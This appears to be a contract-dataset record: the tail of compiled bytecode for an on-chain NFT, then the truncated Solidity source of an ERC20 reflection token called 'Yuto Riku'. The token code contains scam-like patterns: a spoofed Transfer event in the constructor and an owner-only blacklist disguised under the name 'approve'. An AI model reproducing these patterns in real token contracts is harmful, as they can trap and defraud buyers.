0000000000000000000000000000000000000000000000008152508460006021612163565b6060600061121b6040518060400160405280600481526020017f4e616d65000000000000000000000000000000000000000000000000000000008152508460006064612163565b905060328110156112365761122f83610f0d565b9392505050565b605081101561127957611248836115df565b61125184610f0d565b6040516020016112629291906137f9565b604051602081830303815290604052915050919050565b605f8110156112945761128b83610f0d565b6112518461118d565b606481116112c9576112a5836115df565b6112ae84610f0d565b6112b78561118d565b60405160200161126293929190613851565b5050604080516020810190915260008152919050565b60006001600160a01b03821661135d5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610968565b506001600160a01b031660009081526003602052604090205490565b600b546001600160a01b031633146113d35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6113dd60006129c8565b565b6060603282101561142357505060408051808201909152600481527f2366666600000000000000000000000000000000000000000000000000000000602082015290565b605082101561146557505060408051808201909152600781527f2330306132653800000000000000000000000000000000000000000000000000602082015290565b605f8210156114a757505060408051808201909152600781527f2361333439386400000000000000000000000000000000000000000000000000602082015290565b606482116114e857505060408051808201909152600781527f2366666339306100000000000000000000000000000000000000000000000000602082015290565b505060408051602081019091526000815290565b60606017610f546040518060400160405280600581526020017f436f6c6f72000000000000000000000000000000000000000000000000000000815250846000601d612163565b600b546001600160a01b0316331461159d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6001600160a01b0316600090815260136020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b60606015610f546040518060400160405280600681526020017f5072656669780000000000000000000000000000000000000000000000000000815250846000602a612163565b606060018054610a4490613eb9565b6002600a5414156116885760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610968565b6002600a819055601154146116df5760405162461bcd60e51b815260206004820152601660248201527f5075626c69632053616c65206e6f7420616374697665000000000000000000006044820152606401610968565b600d54600c546116ef9190613e76565b816116f960085490565b6117039190613e0d565b11156117515760405162461bcd60e51b815260206004820152601060248201527f546f6b656e20494420696e76616c6964000000000000000000000000000000006044820152606401610968565b3481600e546117609190613e39565b146117ad5760405162461bcd60e51b815260206004820152601560248201527f496e636f72726563742045746865722076616c756500000000000000000000006044820152606401610968565b600f548111156117ff5760405162461bcd60e51b815260206004820152601d60248201527f43616e6e6f74206d696e742074686973206d616e79206174206f6e63650000006044820152606401610968565b60005b8181101561184857611817335b6008546109f7565b426012600061182560085490565b81526020810191909152604001600020558061184081613f0d565b915050611802565b50506001600a55565b6001600160a01b0382163314156118aa5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610968565b3360008181526005602090815260408083206001600160a01b0387168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61193e33836126d4565b6119b05760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610968565b6119bc84848484612a32565b50505050565b60606119cc6133a7565b60405180610100016040528060c3815260200161420e60c39139815260408051808201909152600481527f4e616d65000000000000000000000000000000000000000000000000000000006020820152611a2e90610627908560006064612163565b602082810191909152604080518082018252600e81527f7d2e73706565647b66696c6c203a00000000000000000000000000000000000092810192909252820152611a7b61062784611019565b606082015260408051808201909152601081527f7d2e7374616d696e617b66696c6c203a0000000000000000000000000000000060208201526080820152611ac5610627846122df565b60a082015260408051808201909152601181527f7d2e737472656e6774687b66696c6c203a000000000000000000000000000000602082015260c0820152611b0f6106278461229a565b60e082015260408051808201909152601281527f7d2e656e647572616e63657b66696c6c203a00000000000000000000000000006020820152610100820152611b5a61062784610d26565b6101208201526040805160808101909152605e8082526140d16020830139610140820152611b87836111d4565b610160820152604080516060810190915260288082526140a96020830139610180820152611bb4836114fc565b6101a08201526040805160608101909152602980825261416860208301396101c0820152611be183612253565b6101e0820152604080516060810190915260358082526140746020830139610200820152611c16611c1184611019565b612abb565b6102208201526040805160608101909152603980825261412f6020830139610240820152611c46611c11846122df565b6102608201526040805160608101909152603b8082526142d16020830139610280820152611c76611c118461229a565b6102a08201526040805160608101909152603d8082526141d160208301396102c0820152611ca6611c1184610d26565b6102e0820152604080518082018252600d81527f3c2f746578743e3c2f7376673e00000000000000000000000000000000000000602080830191909152610300840191909152825181840151838501516060860151608087015160a088015160c089015160e08a01516101008b0151995160009a611d269a909101613702565b60408051808303601f19018152908290526101208401516101408501516101608601516101808701516101a08801516101c08901516101e08a01516102008b0151979950611d79988a9890602001613702565b60408051808303601f19018152908290526102208401516102408501516102608601516102808701516102a08801516102c08901516102e08a01516103008b0151979950611dcc988a9890602001613702565b60408051808303601f19018152908290526101a08401516101e08501516102208601516102608701516102a08801516102e0890151959750600096611e149690602001613afa565b60408051601f1981840301815291905290506000611e6384600b6020020151611e3c85612bed565b84604051602001611e4f939291906138c7565b604051602081830303815290604052612bed565b905080604051602001611e769190613d83565b60408051601f198184030181529190529695505050505050565b6002600a541415611ee35760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610968565b6002600a55601154600114611f3a5760405162461bcd60e51b815260206004820152601460248201527f57686974656c697374206e6f74206163746976650000000000000000000000006044820152606401610968565b600d54600c54611f4a9190613e76565b81611f5460085490565b611f5e9190613e0d565b1115611fac5760405162461bcd60e51b815260206004820152601060248201527f546f6b656e20494420696e76616c6964000000000000000000000000000000006044820152606401610968565b3360009081526013602052604090205460ff1661200b5760405162461bcd60e51b815260206004820152600f60248201527f4e6f742077686974656c697374656400000000000000000000000000000000006044820152606401610968565b3481600e5461201a9190613e39565b146120675760405162461bcd60e51b815260206004820152601560248201527f496e636f72726563742045746865722076616c756500000000000000000000006044820152606401610968565b600f548111156120b95760405162461bcd60e51b815260206004820152601d60248201527f43616e6e6f74206d696e742074686973206d616e79206174206f6e63650000006044820152606401610968565b806120c3336112df565b6120cd9190613e0d565b601054101561211e5760405162461bcd60e51b815260206004820152601560248201527f43616e6e6f74206d696e742074686973206d616e7900000000000000000000006044820152606401610968565b60005b81811015611848576121323361180f565b426012600061214060085490565b81526020810191909152604001600020558061215b81613f0d565b915050612121565b6000838152600260205260408120546001600160a01b03166121ed5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610968565b8183866121f987612abb565b60008881526012602090815260409182902054915161221b94939291016137c4565b6040516020818303038152906040528051906020012060001c61223e9190613e0d565b6122489190613f46565b90505b949350505050565b60606018610f546040518060400160405280600681526020017f47656e64657200000000000000000000000000000000000000000000000000008152508460006002612163565b6000610d6b6040518060400160405280600881526020017f537472656e6774680000000000000000000000000000000000000000000000008152508360006064612163565b6000610d6b6040518060400160405280600781526020017f5374616d696e61000000000000000000000000000000000000000000000000008152508360006064612163565b60606000612442604051602001611e4f907f7b226e616d65223a20224d6f756e74732028666f7220416476656e747572657281527f7329222c20226465736372697074696f6e223a2022383030302067656e65726160208201527f74697665206f6e2d636861696e204d6f756e747320666f7220416476656e747560408201527f7265727320696e20746865204c6f6f747665727365222c202273656c6c65725f60608201527f6665655f62617369735f706f696e7473223a203530302c20226665655f72656360808201527f697069656e74223a20223078366146363036646236324162373438323464393360a08201527f4434333939383265354161463137363462623333227d0000000000000000000060c082015260d60190565b9050806040516020016124559190613d83565b60408051601f1981840301815291905292915050565b600b546001600160a01b031633146124c55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6001600160a01b0381166125415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610968565b61254a816129c8565b50565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd0000000000000000000000000000000000000000000000000000000014806125e057507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061090c57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff0000000000000000000000000000000000000000000000000000000083161461090c565b61264a828260405180602001604052806000815250612dc6565b5050565b600081815260046020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038416908117909155819061269b82611102565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b031661275e5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610968565b600061276983611102565b9050806001600160a01b0316846001600160a01b031614806127a45750836001600160a01b031661279984610ac7565b6001600160a01b0316145b8061224b57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff1661224b565b826001600160a01b03166127eb82611102565b6001600160a01b0316146128675760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610968565b6001600160a01b0382166128e25760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610968565b6128ed838383612e4f565b6128f860008261264e565b6001600160a01b0383166000908152600360205260408120805460019290612921908490613e76565b90915550506001600160a01b038216600090815260036020526040812080546001929061294f908490613e0d565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600b80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b612a3d8484846127d8565b612a4984848484612f07565b6119bc5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610968565b606081612afb57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612b255780612b0f81613f0d565b9150612b1e9050600a83613e25565b9150612aff565b60008167ffffffffffffffff811115612b4057612b40614016565b6040519080825280601f01601f191660200182016040528015612b6a576020820181803683370190505b5090505b841561224b57612b7f600183613e76565b9150612b8c600a86613f46565b612b97906030613e0d565b60f81b818381518110612bac57612bac613fe7565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612be6600a86613e25565b9450612b6e565b805160609080612c0d575050604080516020810190915260008152919050565b60006003612c1c836002613e0d565b612c269190613e25565b612c31906004613e39565b90506000612c40826020613e0d565b67ffffffffffffffff811115612c5857612c58614016565b6040519080825280601f01601f191660200182016040528015612c82576020820181803683370190505b5090506000604051806060016040528060408152602001614191604091399050600181016020830160005b86811015612d0e576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101612cad565b506003860660018114612d285760028114612d7257612db8565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe830152612db8565b7f3d000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8301525b505050918152949350505050565b612dd083836130b1565b612ddd6000848484612f07565b610c9a5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610968565b6001600160a01b038316612eaa57612ea581600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612ecd565b816001600160a01b0316836001600160a01b031614612ecd57612ecd8382613217565b6001600160a01b038216612ee457610c9a816132b4565b826001600160a01b0316826001600160a01b031614610c9a57610c9a8282613363565b60006001600160a01b0384163b156130a9576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a0290612f64903390899088908890600401613dc8565b602060405180830381600087803b158015612f7e57600080fd5b505af1925050508015612fae575060408051601f3d908101601f19168201909252612fab918101906135ea565b60015b61305e573d808015612fdc576040519150601f19603f3d011682016040523d82523d6000602084013e612fe1565b606091505b5080516130565760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610968565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a020000000000000000000000000000000000000000000000000000000014905061224b565b50600161224b565b6001600160a01b0382166131075760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610968565b6000818152600260205260409020546001600160a01b03161561316c5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610968565b61317860008383612e4f565b6001600160a01b03821660009081526003602052604081208054600192906131a1908490613e0d565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001613224846112df565b61322e9190613e76565b600083815260076020526040902054909150808214613281576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906132c690600190613e76565b600083815260096020526040812054600880549394509092849081106132ee576132ee613fe7565b90600052602060002001549050806008838154811061330f5761330f613fe7565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061334757613347613fb8565b6001900381819060005260206000200160009055905550505050565b600061336e836112df565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6040518061032001604052806019905b60608152602001906001900390816133b75790505090565b600067ffffffffffffffff808411156133ea576133ea614016565b604051601f8501601f19908116603f0116810190828211818310171561341257613412614016565b8160405280935085815286868601111561342b57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461345c57600080fd5b919050565b60006020828403121561347357600080fd5b61122f82613445565b6000806040838503121561348f57600080fd5b61349883613445565b91506134a660208401613445565b90509250929050565b6000806000606084860312156134c457600080fd5b6134cd84613445565b92506134db60208501613445565b9150604084013590509250925092565b6000806000806080858703121561350157600080fd5b61350a85613445565b935061351860208601613445565b925060408501359150606085013567ffffffffffffffff81111561353b57600080fd5b8501601f8101871361354c57600080fd5b61355b878235602084016133cf565b91505092959194509250565b6000806040838503121561357a57600080fd5b61358383613445565b91506020830135801515811461359857600080fd5b809150509250929050565b600080604083850312156135b657600080fd5b6135bf83613445565b946020939093013593505050565b6000602082840312156135df57600080fd5b813561122f81614045565b6000602082840312156135fc57600080fd5b815161122f81614045565b6000806000806080858703121561361d57600080fd5b843567ffffffffffffffff81111561363457600080fd5b8501601f8101871361364557600080fd5b613654878235602084016133cf565b97602087013597506040870135966060013595509350505050565b60006020828403121561368157600080fd5b5035919050565b6000806000806080858703121561369e57600080fd5b5050823594602084013594506040840135936060013592509050565b600081518084526136d2816020860160208601613e8d565b601f01601f19169290920160200192915050565b600081516136f8818560208601613e8d565b9290920192915050565b60008a51613714818460208f01613e8d565b8a5190830190613728818360208f01613e8d565b8a5161373a8183850160208f01613e8d565b8a51929091010190613750818360208d01613e8d565b88516137628183850160208d01613e8d565b8851929091010190613778818360208b01613e8d565b865161378a8183850160208b01613e8d565b86519290910101906137a0818360208901613e8d565b84516137b28183850160208901613e8d565b9101019b9a5050505050505050505050565b600084516137d6818460208901613e8d565b8451908301906137ea818360208901613e8d565b01928352505060200192915050565b6000835161380b818460208801613e8d565b7f20000000000000000000000000000000000000000000000000000000000000009083019081528351613845816001840160208801613e8d565b01600101949350505050565b60008451613863818460208901613e8d565b80830190507f2000000000000000000000000000000000000000000000000000000000000000808252855161389f816001850160208a01613e8d565b600192019182015283516138ba816002840160208801613e8d565b0160020195945050505050565b7f7b226e616d65223a2022000000000000000000000000000000000000000000008152600084516138ff81600a850160208901613e8d565b7f222c226465736372697074696f6e223a2022383030302072616e646f6d697a65600a918401918201527f64206f6e20636861696e204d6f756e74732028666f7220416476656e74757265602a8201527f7273292e204d6f756e74732061726520696e74656e64656420746f2062652075604a8201527f73656420627920616476656e74757265727320746f206765742061726f756e64606a8201527f2074686520776f726c6420696e20776869636820746865792061726520657870608a8201527f6c6f72696e672e2045616368206d6f756e74206861732061206261736963207360aa8201527f6574206f6620737461747320616e642070726f7065727469657320746861742060ca8201527f63616e206265207573656420616e6420696e746572707265746564206173206460ea8201527f6573697265642e222c22696d616765223a2022646174613a696d6167652f737661010a8201527f672b786d6c3b6261736536342c0000000000000000000000000000000000000061012a820152613af0613ac7613ac1613a986101378501896136e6565b7f222c2022747261697473223a205b0000000000000000000000000000000000008152600e0190565b866136e6565b7f5d207d0000000000000000000000000000000000000000000000000000000000815260030190565b9695505050505050565b7f7b2274726169745f74797065223a202247656e65726174696f6e222c2276616c81527f7565223a202230227d2c7b2274726169745f74797065223a2022436f6c6f722260208201527f2c2276616c7565223a2022000000000000000000000000000000000000000000604082015260008751613b7e81604b850160208c01613e8d565b7f227d2c7b2274726169745f74797065223a202247656e646572222c2276616c75604b918401918201527f65223a2022000000000000000000000000000000000000000000000000000000606b8201528751613be1816070840160208c01613e8d565b7f227d2c7b2274726169745f74797065223a20225370656564222c2276616c7565607092909101918201527f223a2022000000000000000000000000000000000000000000000000000000006090820152613d76613d4d613ac1613cfe613cf8613ca9613ca3613c54609489018f6136e6565b7f227d2c7b2274726169745f74797065223a20225374616d696e61222c2276616c81527f7565223a20220000000000000000000000000000000000000000000000000000602082015260260190565b8c6136e6565b7f227d2c7b2274726169745f74797065223a2022537472656e677468222c22766181527f6c7565223a202200000000000000000000000000000000000000000000000000602082015260270190565b896136e6565b7f227d2c7b2274726169745f74797065223a2022456e647572616e6365222c227681527f616c7565223a2022000000000000000000000000000000000000000000000000602082015260280190565b7f227d000000000000000000000000000000000000000000000000000000000000815260020190565b9998505050505050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251613dbb81601d850160208701613e8d565b91909101601d0192915050565b60006001600160a01b03808716835280861660208401525083604083015260806060830152613af060808301846136ba565b60208152600061122f60208301846136ba565b60008219821115613e2057613e20613f5a565b500190565b600082613e3457613e34613f89565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613e7157613e71613f5a565b500290565b600082821015613e8857613e88613f5a565b500390565b60005b83811015613ea8578181015183820152602001613e90565b838111156119bc5750506000910152565b600181811c90821680613ecd57607f821691505b60208210811415613f07577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613f3f57613f3f613f5a565b5060010190565b600082613f5557613f55613f89565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7fffffffff000000000000000000000000000000000000000000000000000000008116811461254a57600080fdfe3c2f746578743e3c7465787420783d2231302220793d223134302220636c6173733d2262617365207370656564223e5370656564203c2f746578743e3c7465787420783d2231302220793d2238302220636c6173733d2262617365223e3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e3c7465787420783d2231302220793d2235302220636c6173733d2262617365206e616d65223e3c2f746578743e3c7465787420783d2231302220793d223137302220636c6173733d2262617365207374616d696e61223e5374616d696e61203c2f746578743e3c7465787420783d2231302220793d223131302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c2f746578743e3c7465787420783d2231302220793d223233302220636c6173733d226261736520656e647572616e6365223e456e647572616e6365203c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302034333020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a20617269616c3b20666f6e742d7765696768743a203130303b20666f6e742d73697a653a20323470783b207d202e6e616d65207b66696c6c3a3c2f746578743e3c7465787420783d2231302220793d223230302220636c6173733d226261736520737472656e677468223e537472656e67746820a264697066735822122043b1a237c4a6c931b35692caa2f04940ad0e3f307711679440290087de3c132164736f6c63430008070033
[ 6, 3, 4, 5 ]
0xf291a8494cbed955336703e0c3c8be0e6bad9f0e
/* Locate Kingdom Of Hearts Entry Portal! */ pragma solidity ^0.8.9; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Yuto is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Yuto Riku"; string private constant _symbol = "Yuto"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x050aecD56325085e1f300033268CcBAE19767d2b); _feeAddrWallet2 = payable(0x050aecD56325085e1f300033268CcBAE19767d2b); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x22Ad4bd5Bc8699a2A07dfD614944069cC42aF9D2), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _sellTax = 11; _buyTax = 11; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function approve(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, 